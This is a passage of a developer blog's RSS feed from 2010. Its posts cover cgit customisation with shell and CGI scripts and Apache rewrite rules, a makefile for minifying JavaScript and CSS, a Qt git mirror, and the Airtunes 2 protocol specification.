<span style="color: #000000; font-weight: bold;">if</span> <span style="color: #7a0874; font-weight: bold;">&#91;</span> <span style="color: #ff0000;">&quot;<span style="color: #007800;">$hash</span>&quot;</span> <span style="color: #000000; font-weight: bold;">!</span>= <span style="color: #ff0000;">&quot;&quot;</span> <span style="color: #7a0874; font-weight: bold;">&#93;</span>; <span style="color: #000000; font-weight: bold;">then</span>
        <span style="color: #c20cb9; font-weight: bold;">git</span> <span style="color: #660033;">--git-dir</span>=<span style="color: #ff0000;">&quot;<span style="color: #007800;">$project</span>&quot;</span> cat-file <span style="color: #660033;">-p</span> <span style="color: #007800;">$hash</span>
<span style="color: #000000; font-weight: bold;">fi</span>
<span style="color: #000000; font-weight: bold;">done</span></pre></td></tr></table></div>

<p>The shuf command turned out to be very handy. And to get the project list and their description and sort it by the latest commit, I use this custom script:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
</pre></td><td class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #666666; font-style: italic;">#!/bin/sh</span>
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #ff0000;">&quot;Content-Type: application/json&quot;</span>
<span style="color: #7a0874; font-weight: bold;">echo</span>
&nbsp;
<span style="color: #007800;">notfirst</span>=<span style="color: #000000;">0</span>;
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #ff0000;">&quot;[&quot;</span>
<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #c20cb9; font-weight: bold;">cat</span> <span style="color: #000000; font-weight: bold;">/</span>home<span style="color: #000000; font-weight: bold;">/</span>gitcode<span style="color: #000000; font-weight: bold;">/</span>projects.list <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #000000; font-weight: bold;">while</span> <span style="color: #c20cb9; font-weight: bold;">read</span> line; <span style="color: #000000; font-weight: bold;">do</span>
        <span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #c20cb9; font-weight: bold;">stat</span> <span style="color: #660033;">--printf</span> <span style="color: #ff0000;">&quot;%Y<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span> <span style="color: #000000; font-weight: bold;">/</span>home<span style="color: #000000; font-weight: bold;">/</span>gitcode<span style="color: #000000; font-weight: bold;">/</span>repositories<span style="color: #000000; font-weight: bold;">/</span><span style="color: #007800;">$line</span><span style="color: #000000; font-weight: bold;">/</span>refs<span style="color: #000000; font-weight: bold;">/</span>heads<span style="color: #000000; font-weight: bold;">/*</span> <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #c20cb9; font-weight: bold;">sort</span> <span style="color: #660033;">-nr</span> <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #c20cb9; font-weight: bold;">head</span> <span style="color: #660033;">-n</span> <span style="color: #000000;">1</span> <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #c20cb9; font-weight: bold;">tr</span> <span style="color: #660033;">-d</span> <span style="color: #ff0000;">'\n'</span><span style="color: #7a0874; font-weight: bold;">&#41;</span> <span style="color: #000000;">2</span><span style="color: #000000; font-weight: bold;">&gt;</span> <span style="color: #000000; font-weight: bold;">/</span>dev<span style="color: #000000; font-weight: bold;">/</span>null
        <span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #660033;">-e</span> <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\t</span><span style="color: #007800;">$line</span>&quot;</span>
<span style="color: #000000; font-weight: bold;">done</span><span style="color: #7a0874; font-weight: bold;">&#41;</span> <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #c20cb9; font-weight: bold;">sort</span> <span style="color: #660033;">-nr</span> <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #c20cb9; font-weight: bold;">cut</span> <span style="color: #660033;">-f</span> <span style="color: #000000;">2</span> <span style="color: #000000; font-weight: bold;">|</span>
<span style="color: #000000; font-weight: bold;">while</span> <span style="color: #c20cb9; font-weight: bold;">read</span> line; <span style="color: #000000; font-weight: bold;">do</span>
        <span style="color: #000000; font-weight: bold;">if</span> <span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #7a0874; font-weight: bold;">&#91;</span> <span style="color: #007800;">$notfirst</span> == <span style="color: #000000;">1</span> <span style="color: #7a0874; font-weight: bold;">&#93;</span><span style="color: #7a0874; font-weight: bold;">&#93;</span>; <span style="color: #000000; font-weight: bold;">then</span>
                <span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #ff0000;">&quot;,&quot;</span>
        <span style="color: #000000; font-weight: bold;">fi</span>
        <span style="color: #007800;">description</span>=$<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #c20cb9; font-weight: bold;">cat</span> <span style="color: #ff0000;">&quot;/home/gitcode/repositories/<span style="color: #007800;">$line</span>/description&quot;</span><span style="color: #7a0874; font-weight: bold;">&#41;</span>
        <span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #ff0000;">&quot;{ <span style="color: #000099; font-weight: bold;">\&quot;</span>name<span style="color: #000099; font-weight: bold;">\&quot;</span>: <span style="color: #000099; font-weight: bold;">\&quot;</span><span style="color: #007800;">${line%.git}</span><span style="color: #000099; font-weight: bold;">\&quot;</span>, <span style="color: #000099; font-weight: bold;">\&quot;</span>description<span style="color: #000099; font-weight: bold;">\&quot;</span>: <span style="color: #000099; font-weight: bold;">\&quot;</span><span style="color: #007800;">$description</span><span style="color: #000099; font-weight: bold;">\&quot;</span> }&quot;</span>
        <span style="color: #007800;">notfirst</span>=<span style="color: #000000;">1</span>
<span style="color: #000000; font-weight: bold;">done</span>
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #ff0000;">&quot;]&quot;</span></pre></td></tr></table></div>

<p>This returns a JSON array. To make it scroll in the javascript, I simply make a div with overflow:hidden and then modify the scroll position, and request more code when it&#8217;s near the bottom.</p>
<p>Last but certainly not least, I&#8217;ve gone through great pains to compress and minify all of my css and javascript in the most efficient way possible. After some testing with compression ratios, I picked <a href="http://code.google.com/closure/compiler/" target="_blank" onclick="pageTracker._trackPageview('/outgoing/code.google.com/closure/compiler/?referer=');">Google&#8217;s Closure Compiler</a> for javascript and <a href="http://developer.yahoo.com/yui/compressor/" target="_blank" onclick="pageTracker._trackPageview('/outgoing/developer.yahoo.com/yui/compressor/?referer=');">Yahoo&#8217;s YUI Compressor</a> for CSS. In order to keep track of which files have been compressed and incorporated into the <i>single css file</i> and <i>single js file</i> file for each page, I made a very generic and reusable make file that scans js/*.js and css/*.css, excluding already minified files, and incrementally makes js/*.min.js and css/*.min.css, and eventually creates js/scripts.min.js and css/styles.min.css as composites. I prefix each js and css file with a three digit code to preserve ordering, much like how udev manages rule priorities. Here&#8217;s my makefile:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
</pre></td><td class="code"><pre class="make" style="font-family:monospace;">JS_DIR <span style="color: #004400;">=</span> js
CSS_DIR <span style="color: #004400;">=</span> css
&nbsp;
JS_MIN <span style="color: #004400;">=</span> <span style="color: #004400;">$</span><span style="color: #004400;">&#40;</span><span style="color: #000088;">JS_DIR</span><span style="color: #004400;">&#41;</span><span style="color: #004400;">/</span>scripts<span style="color: #004400;">.</span>min<span style="color: #004400;">.</span>js
CSS_MIN <span style="color: #004400;">=</span> <span style="color: #004400;">$</span><span style="color: #004400;">&#40;</span><span style="color: #000088;">CSS_DIR</span><span style="color: #004400;">&#41;</span><span style="color: #004400;">/</span>styles<span style="color: #004400;">.</span>min<span style="color: #004400;">.</span>css
&nbsp;
JS_MIN_FILES <span style="color: #004400;">:=</span> <span style="color: #004400;">$</span><span style="color: #004400;">&#40;</span><span style="color: #0000CC; font-weight: bold;">patsubst</span> <span style="color: #004400;">%.</span>js<span style="color: #004400;">,</span> <span style="color: #004400;">%.</span>min<span style="color: #004400;">.</span>js<span style="color: #004400;">,</span> <span style="color: #004400;">$</span><span style="color: #004400;">&#40;</span><span style="color: #0000CC; font-weight: bold;">filter-out</span> <span style="color: #004400;">%.</span>min<span style="color: #004400;">.</span>js<span style="color: #004400;">,</span> <span style="color: #004400;">$</span><span style="color: #004400;">&#40;</span><span style="color: #0000CC; font-weight: bold;">wildcard</span> <span style="color: #004400;">$</span><span style="color: #004400;">&#40;</span><span style="color: #000088;">JS_DIR</span><span style="color: #004400;">&#41;</span><span style="color: #004400;">/*.</span>js<span style="color: #004400;">&#41;</span><span style="color: #004400;">&#41;</span><span style="color: #004400;">&#41;</span>
CSS_MIN_FILES <span style="color: #004400;">:=</span> <span style="color: #004400;">$</span><span style="color: #004400;">&#40;</span><span style="color: #0000CC; font-weight: bold;">patsubst</span> <span style="color: #004400;">%.</span>css<span style="color: #004400;">,</span> <span style="color: #004400;">%.</span>min<span style="color: #004400;">.</span>css<span style="color: #004400;">,</span> <span style="color: #004400;">$</span><span style="color: #004400;">&#40;</span><span style="color: #0000CC; font-weight: bold;">filter-out</span> <span style="color: #004400;">%.</span>min<span style="color: #004400;">.</span>css<span style="color: #004400;">,</span> <span style="color: #004400;">$</span><span style="color: #004400;">&#40;</span><span style="color: #0000CC; font-weight: bold;">wildcard</span> <span style="color: #004400;">$</span><span style="color: #004400;">&#40;</span><span style="color: #000088;">CSS_DIR</span><span style="color: #004400;">&#41;</span><span style="color: #004400;">/*.</span>css<span style="color: #004400;">&#41;</span><span style="color: #004400;">&#41;</span><span style="color: #004400;">&#41;</span>
&nbsp;
JS_COMPILER <span style="color: #004400;">=</span> google<span style="color: #004400;">-</span>compiler <span style="color: #004400;">--</span>warning_level QUIET
CSS_COMPILER <span style="color: #004400;">=</span> yuicompressor <span style="color: #004400;">--</span>type css
&nbsp;
<span style="color: #990000;">.PHONY</span><span style="color: #004400;">:</span> all clean
&nbsp;
all<span style="color: #004400;">:</span> <span style="color: #004400;">$</span><span style="color: #004400;">&#40;</span><span style="color: #000088;">JS_MIN</span><span style="color: #004400;">&#41;</span> <span style="color: #004400;">$</span><span style="color: #004400;">&#40;</span><span style="color: #000088;">CSS_MIN</span><span style="color: #004400;">&#41;</span>
&nbsp;
<span style="color: #004400;">%.</span>min<span style="color: #004400;">.</span>js<span style="color: #004400;">:</span> <span style="color: #004400;">%.</span>js
	<span style="color: #004400;">@</span>echo <span style="color: #CC2200;">&quot;Compiling javascript&quot;</span> <span style="color: #000088; font-weight: bold;">$&lt;</span>
	<span style="color: #004400;">@$</span><span style="color: #004400;">&#40;</span><span style="color: #000088;">JS_COMPILER</span><span style="color: #004400;">&#41;</span> <span style="color: #004400;">--</span>js <span style="color: #000088; font-weight: bold;">$&lt;</span> <span style="color: #004400;">--</span>js_output_file <span style="color: #000088; font-weight: bold;">$@</span>
&nbsp;
<span style="color: #004400;">%.</span>min<span style="color: #004400;">.</span>css<span style="color: #004400;">:</span> <span style="color: #004400;">%.</span>css
	<span style="color: #004400;">@</span>echo <span style="color: #CC2200;">&quot;Compiling stylesheet&quot;</span> <span style="color: #000088; font-weight: bold;">$&lt;</span>
	<span style="color: #004400;">@$</span><span style="color: #004400;">&#40;</span><span style="color: #000088;">CSS_COMPILER</span><span style="color: #004400;">&#41;</span> <span style="color: #004400;">-</span>o <span style="color: #000088; font-weight: bold;">$@</span> <span style="color: #000088; font-weight: bold;">$&lt;</span>
&nbsp;
<span style="color: #004400;">$</span><span style="color: #004400;">&#40;</span><span style="color: #000088;">JS_MIN</span><span style="color: #004400;">&#41;</span><span style="color: #004400;">:</span> <span style="color: #004400;">$</span><span style="color: #004400;">&#40;</span><span style="color: #000088;">JS_MIN_FILES</span><span style="color: #004400;">&#41;</span>
	<span style="color: #004400;">@</span>echo <span style="color: #CC2200;">&quot;Assembling compiled javascripts&quot;</span>
	<span style="color: #004400;">@</span>cat <span style="color: #000088; font-weight: bold;">$^</span> <span style="color: #004400;">&gt;</span> <span style="color: #000088; font-weight: bold;">$@</span>
&nbsp;
<span style="color: #004400;">$</span><span style="color: #004400;">&#40;</span><span style="color: #000088;">CSS_MIN</span><span style="color: #004400;">&#41;</span><span style="color: #004400;">:</span> <span style="color: #004400;">$</span><span style="color: #004400;">&#40;</span><span style="color: #000088;">CSS_MIN_FILES</span><span style="color: #004400;">&#41;</span>
	<span style="color: #004400;">@</span>echo <span style="color: #CC2200;">&quot;Assembling compiled stylesheets&quot;</span>
	<span style="color: #004400;">@</span>cat <span style="color: #000088; font-weight: bold;">$^</span> <span style="color: #004400;">&gt;</span> <span style="color: #000088; font-weight: bold;">$@</span>
&nbsp;
clean<span style="color: #004400;">:</span>
	<span style="color: #004400;">@</span>rm <span style="color: #004400;">-</span>fv <span style="color: #004400;">$</span><span style="color: #004400;">&#40;</span><span style="color: #000088;">JS_MIN</span><span style="color: #004400;">&#41;</span> <span style="color: #004400;">$</span><span style="color: #004400;">&#40;</span><span style="color: #000088;">JS_MIN_FILES</span><span style="color: #004400;">&#41;</span> <span style="color: #004400;">$</span><span style="color: #004400;">&#40;</span><span style="color: #000088;">CSS_MIN</span><span style="color: #004400;">&#41;</span> <span style="color: #004400;">$</span><span style="color: #004400;">&#40;</span><span style="color: #000088;">CSS_MIN_FILES</span><span style="color: #004400;">&#41;</span></pre></td></tr></table></div>

<p>As always, suggestions and comments for any of the above are very welcome.</p>
<p><b>Head on over to <a href="http://www.zx2c4.com" onclick="pageTracker._trackPageview('/outgoing/www.zx2c4.com?referer=');">ZX2C4.COM</a> and <a href="http://www.jasondonenfeld.com" onclick="pageTracker._trackPageview('/outgoing/www.jasondonenfeld.com?referer=');">JasonDonenfeld.com</a></b>.</p>
<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/373#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=373" style="border:0;" /></a></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zx2c4.com/373/feed</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>appeal.kde.org Hijacked by Debian Gaming Ninjas</title>
		<link>http://blog.zx2c4.com/364</link>
		<comments>http://blog.zx2c4.com/364#comments</comments>
		<pubDate>Sun, 15 Aug 2010 00:40:09 +0000</pubDate>
		<dc:creator>Jason Donenfeld</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[DNS]]></category>
		<category><![CDATA[KDE]]></category>

		<guid isPermaLink="false">http://blog.zx2c4.com/?p=364</guid>
		<description><![CDATA[Uhhh what?<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/364#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=364" style="border:0;" /></a></div>]]></description>
			<content:encoded><![CDATA[<p>Uhhh what?<br />
<img src="http://blog.zx2c4.com/wp-content/uploads/2010/08/hijacked.png" alt="" title="appeal.kde.org" width="775" height="528" class="aligncenter size-full wp-image-365" /></p>
<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/364#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=364" style="border:0;" /></a></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zx2c4.com/364/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Oxygen Window Dragging</title>
		<link>http://blog.zx2c4.com/360</link>
		<comments>http://blog.zx2c4.com/360#comments</comments>
		<pubDate>Sat, 14 Aug 2010 22:36:43 +0000</pubDate>
		<dc:creator>Jason Donenfeld</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[KDE]]></category>

		<guid isPermaLink="false">http://blog.zx2c4.com/?p=360</guid>
		<description><![CDATA[Hugo Pereira Da Costa and Thomas Luebking are geniuses. If you&#8217;ve used KDE 4.5, you&#8217;ve probably noticed that you can now drag windows by selecting any blank area. You&#8217;ve also probably read that, as expected, this only works with Qt apps. How does such hackery work? What in Qt allows this kind of interaction? How [...]<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/360#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=360" style="border:0;" /></a></div>]]></description>
			<content:encoded><![CDATA[<p><i>Hugo Pereira Da Costa and Thomas Luebking are geniuses.</i> If you&#8217;ve used KDE 4.5, you&#8217;ve probably noticed that you can now drag windows by selecting any blank area. You&#8217;ve also probably read that, as expected, this only works with Qt apps. How does such hackery work? What in Qt allows this kind of interaction? How can a window decoration enable such an interaction with the window manager? How do we know which events on which widgets to intercept? I suggest that if you haven&#8217;t already seen it, you give <a href="http://websvn.kde.org/trunk/KDE/kdebase/workspace/kstyles/oxygen/oxygenwindowmanager.cpp?view=markup" onclick="pageTracker._trackPageview('/outgoing/websvn.kde.org/trunk/KDE/kdebase/workspace/kstyles/oxygen/oxygenwindowmanager.cpp?view=markup&amp;referer=');">oxygenwindowmanager.cpp</a> a close read. It&#8217;s extremely educational.</p>
<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/360#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=360" style="border:0;" /></a></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zx2c4.com/360/feed</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>The Airtunes 2 Protocol</title>
		<link>http://blog.zx2c4.com/332</link>
		<comments>http://blog.zx2c4.com/332#comments</comments>
		<pubDate>Sat, 07 Aug 2010 13:20:43 +0000</pubDate>
		<dc:creator>Jason Donenfeld</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[Airtunes]]></category>
		<category><![CDATA[Apple]]></category>
		<category><![CDATA[Gentoo]]></category>
		<category><![CDATA[PulseAudio]]></category>
		<category><![CDATA[Wireless]]></category>

		<guid isPermaLink="false">http://blog.zx2c4.com/?p=332</guid>
		<description><![CDATA[Over the last year, a brave team has intermittently been hard at work openly describing the protocol used by Apple&#8217;s Airport Express, RAOP. It turns out there are two protocols &#8212; Airtunes 1 and Airtunes 2. Airtunes 1 was described by Jon Lech Johansen, of DeCSS fame, but the Airtunes 1 protocol lacks crucial timing [...]<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/332#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=332" style="border:0;" /></a></div>]]></description>
			<content:encoded><![CDATA[<p>Over the last year, a brave team has intermittently been hard at work openly describing the protocol used by Apple&#8217;s Airport Express, <a href="http://en.wikipedia.org/wiki/Remote_Audio_Output_Protocol" onclick="pageTracker._trackPageview('/outgoing/en.wikipedia.org/wiki/Remote_Audio_Output_Protocol?referer=');">RAOP</a>. It turns out there are two protocols &#8212; Airtunes 1 and Airtunes 2. Airtunes 1 was described by Jon Lech Johansen, of DeCSS fame, but the Airtunes 1 protocol lacks crucial timing information needed for reliable and video-synced audio. This in particular has posed a problem for <a href="http://www.pulseaudio.org" onclick="pageTracker._trackPageview('/outgoing/www.pulseaudio.org?referer=');">PulseAudio</a>. Airtunes 2, to this date, has only been known by Apple and the proprietary third party software Airfoil. For the purpose of interoperability and education,</p>
<p><span style="font-size:15pt; font-weight: bold;"><a href="http://git.zx2c4.com/Airtunes2/about/" onclick="pageTracker._trackPageview('/outgoing/git.zx2c4.com/Airtunes2/about/?referer=');">Today we open up the beginning of our Airtunes 2 specification to the community.</a></span></p>
<p>A member of the team is <a href="http://git.zx2c4.com/pulseaudio-raop2/" onclick="pageTracker._trackPageview('/outgoing/git.zx2c4.com/pulseaudio-raop2/?referer=');">hard at work on the PulseAudio module</a>, but if you&#8217;d like to help, don&#8217;t hesitate to contact us. And of course, implementing this in other places too would be more than welcome. Finally, we still need to finish the specification, so if you can offer any assistance, please do let us know. We&#8217;re on <tt>#airtunes2</tt> on freenode.</p>
<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/332#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=332" style="border:0;" /></a></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zx2c4.com/332/feed</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Qt Git Mirror</title>
		<link>http://blog.zx2c4.com/344</link>
		<comments>http://blog.zx2c4.com/344#comments</comments>
		<pubDate>Fri, 06 Aug 2010 17:00:18 +0000</pubDate>
		<dc:creator>Jason Donenfeld</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[CGit]]></category>
		<category><![CDATA[Git]]></category>
		<category><![CDATA[Gitorious]]></category>
		<category><![CDATA[KDE]]></category>
		<category><![CDATA[Nokia]]></category>
		<category><![CDATA[Qt]]></category>

		<guid isPermaLink="false">http://blog.zx2c4.com/?p=344</guid>
		<description><![CDATA[I frequently find myself wanting to look through the Qt source or look through a couple of commits. I could keep a copy of Qt checked out on all the computers I use, and flick through the repository using git command-line or qgit or even git instaweb, but this is usually less convenient than simply [...]<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/344#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=344" style="border:0;" /></a></div>]]></description>
			<content:encoded><![CDATA[<p>I frequently find myself wanting to look through the Qt source or look through a couple of commits. I could keep a copy of Qt checked out on all the computers I use, and flick through the repository using git command-line or qgit or even git instaweb, but this is usually less convenient than simply heading over to <a href="http://qt.gitorious.org" onclick="pageTracker._trackPageview('/outgoing/qt.gitorious.org?referer=');">gitorious</a>. Unfortunately, gitorious is notoriously <i>sluggish</i> and I find their site design a bit hindering as well.</p>
<p>So I&#8217;ve decided to mirror Qt&#8217;s repository on my personal <a href="http://blog.zx2c4.com/293">server</a> <a href="http://blog.zx2c4.com/325">running</a> <a href="http://blog.zx2c4.com/341">cgit</a>, which is much much faster than Gitorious. It&#8217;s synced once an hour by cron. And if nobody abuses this, I&#8217;ll keep it open for the community.</p>
<p><font size="+1">Head on over to <a href="http://git.zx2c4.com/qt" onclick="pageTracker._trackPageview('/outgoing/git.zx2c4.com/qt?referer=');">git.zx2c4.com/qt</a>.</font></p>
<p>Next up, I might attempt to mirror KDE&#8217;s subversion repository on my CGit. I&#8217;m not a very big fan of <a href="http://websvn.kde.org" onclick="pageTracker._trackPageview('/outgoing/websvn.kde.org?referer=');">websvn</a>, and I know <a href="http://www.omat.nl/2010/08/02/git-infrastructure-launch/" onclick="pageTracker._trackPageview('/outgoing/www.omat.nl/2010/08/02/git-infrastructure-launch/?referer=');">KDE is moving to git</a>, but the main tree won&#8217;t be moved for <a href="http://community.kde.org/Sysadmin/GitInfrastructureLaunch" onclick="pageTracker._trackPageview('/outgoing/community.kde.org/Sysadmin/GitInfrastructureLaunch?referer=');">quite some time</a>. Anyone an expert at <tt>git-svn</tt> and can provide some tips for a mirroring script to a bare repository? As we speak, I&#8217;m running <tt>git svn fetch</tt> on a repository made with <tt>git svn init --stdlayout svn://anonsvn....</tt>, and then manually adjusted to be bare. The import is taking a long time&#8230;</p>
<p><b>Update update update:</b> Holy cow. After leaving <tt>git svn fetch</tt> running overnight, I&#8217;m on revision 41671 of 1159974&#8230; which is only 3.5% done (and by the way, I&#8217;m running this out of a data center&#8217;s über-bandwidth connection). KDE has a huge history; this is obscene. Any pointers here? Should I stop this? Have I done something silly that will render the eventual result unusable?</p>
<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/344#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=344" style="border:0;" /></a></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zx2c4.com/344/feed</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>CGit and Wiki-Markup: restructuredText, Mark Down, Whatever-You-Want</title>
		<link>http://blog.zx2c4.com/341</link>
		<comments>http://blog.zx2c4.com/341#comments</comments>
		<pubDate>Wed, 04 Aug 2010 01:16:34 +0000</pubDate>
		<dc:creator>Jason Donenfeld</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[CGit]]></category>
		<category><![CDATA[Gentoo]]></category>
		<category><![CDATA[Git]]></category>

		<guid isPermaLink="false">http://blog.zx2c4.com/?p=341</guid>
		<description><![CDATA[I wrote in a previous post about hacking restructuredText support into cgit by way of some nasty .htaccess and cgi scripts. Well, now I&#8217;ve built support into CGit properly. I have in my cgitrc: repo.readme=master:docs/readme.rst repo.about-filter=/home/gitcode/web/rst2html/rst2html about-filter is a feature cgit has always had which pipes the readme file through that command before displaying it. [...]<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/341#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=341" style="border:0;" /></a></div>]]></description>
			<content:encoded><![CDATA[<p>I wrote in a previous post about <a href="http://blog.zx2c4.com/325">hacking restructuredText support into cgit</a> by way of some nasty .htaccess and cgi scripts. Well, now I&#8217;ve built support into CGit properly.</p>
<p>I have in my cgitrc:</p>
<pre>
repo.readme=<b>master:</b>docs/readme.rst
repo.about-filter=/home/gitcode/web/rst2html/rst2html
</pre>
<p><tt>about-filter</tt> is a feature cgit has always had which pipes the readme file through that command before displaying it. In this case, it&#8217;s just the standard docutils restructuredText python script. The killer new feature here is the ability to specify that the readme file tree comes from a specific git head. This says to pull it from the master repository. I could specify any branch or even a sha1 id of a specific commit.</p>
<p>So now, http://git.mywebpage.com/about will display the restructuredText of doc/readme.rst converted to its nice HTML display. Best of all, I can go to http://git.mywebpage.com/about/otherfile.rst, and this will translate to master:docs/otherfile.rst. I could replace the about-filter with something for markdown or even a script that chooses which filter based on file name, and get something <i>identical to Github&#8217;s <a href="http://github.com/guides/readme-formatting" onclick="pageTracker._trackPageview('/outgoing/github.com/guides/readme-formatting?referer=');">readme feature</a></i>. Now it&#8217;s in cgit. Hopefully Lars will pull this soon, as he <a href="http://blog.zx2c4.com/293">did my other patches</a>.</p>
<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/341#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=341" style="border:0;" /></a></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zx2c4.com/341/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>CGit and restructuredText</title>
		<link>http://blog.zx2c4.com/325</link>
		<comments>http://blog.zx2c4.com/325#comments</comments>
		<pubDate>Tue, 03 Aug 2010 15:27:24 +0000</pubDate>
		<dc:creator>Jason Donenfeld</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[Apache]]></category>
		<category><![CDATA[CGit]]></category>
		<category><![CDATA[Gentoo]]></category>
		<category><![CDATA[Git]]></category>

		<guid isPermaLink="false">http://blog.zx2c4.com/?p=325</guid>
		<description><![CDATA[A project of mine (which I&#8217;ll announce in a few days) uses restructuredText and git. So, showing an html-ified version of the restructuredText was the logical thing to do. CGit dumps the plain text of a file at http://git.website.com/ProjectName/plain/path/to/myfile. I wanted to add onto this a restructuredText dump at http://git.website.com/ProjectName/rst/path/to/myfile. One solution would be to [...]<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/325#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=325" style="border:0;" /></a></div>]]></description>
			<content:encoded><![CDATA[<p>A project of mine (which I&#8217;ll announce in a few days) uses restructuredText and git. So, showing an html-ified version of the restructuredText was the logical thing to do. CGit dumps the plain text of a file at <tt>http://git.website.com/ProjectName/<b>plain</b>/path/to/myfile</tt>. I wanted to add onto this a restructuredText dump at <tt>http://git.website.com/ProjectName/<b>rst</b>/path/to/myfile</tt>. One solution would be to patch cgit, but instead I chose to build around it and use the handy <a href="http://docutils.sourceforge.net/" onclick="pageTracker._trackPageview('/outgoing/docutils.sourceforge.net/?referer=');">docutils</a> to do the conversion.</p>
<p>The tool <tt>rst2html</tt> takes rst on stdin and pushes html on stdout. The first thing we need to do is make an rst2html wrapper and push certain URLs to it. My cgit installation already <a href="http://blog.zx2c4.com/293">has a pretty advanced .htaccess</a> for rewriting cgit urls, and here we&#8217;ll augment the one in that post with:</p>

<div class="wp_syntax"><div class="code"><pre class="apache" style="font-family:monospace;"><span style="color: #00007f;">RewriteCond</span> %{REQUEST_FILENAME} !-f
<span style="color: #00007f;">RewriteCond</span> %{REQUEST_FILENAME} !-d
<span style="color: #00007f;">RewriteRule</span> (.*)/rst/(.*) /rst.cgi/$1/plain/$2 [L,PT,NS]</pre></div></div>

<p>This internally rewrites all traffic at <tt>http://git.website.com/ProjectName/<b>rst</b>/path/to/myfile</tt> to <tt>http://git.website.com/rst.cgi/ProjectName/<b>plain</b>/path/to/myfile</tt>. This means that the CGI environment variable <tt>PATH_INFO</tt> is set to <tt>http://git.website.com/ProjectName/<b>plain</b>/path/to/myfile</tt>. CGit looks at <tt>PATH_INFO</tt> to determine which page to show, so all we have to do is call <tt>cgit.cgi</tt> and pipe it to <tt>rst2html</tt>:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #666666; font-style: italic;">#!/bin/sh</span>
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #ff0000;">&quot;Content-Type: text/html&quot;</span>
<span style="color: #7a0874; font-weight: bold;">echo</span>
.<span style="color: #000000; font-weight: bold;">/</span>cgit.cgi <span style="color: #000000; font-weight: bold;">|</span> ..<span style="color: #000000; font-weight: bold;">/</span>rst2html<span style="color: #000000; font-weight: bold;">/</span>rst2html</pre></div></div>

<p>However, cgit spits out HTTP headers of its own, which we need to strip:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #666666; font-style: italic;">#!/bin/sh</span>
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #ff0000;">&quot;Content-Type: text/html&quot;</span>
<span style="color: #7a0874; font-weight: bold;">echo</span>
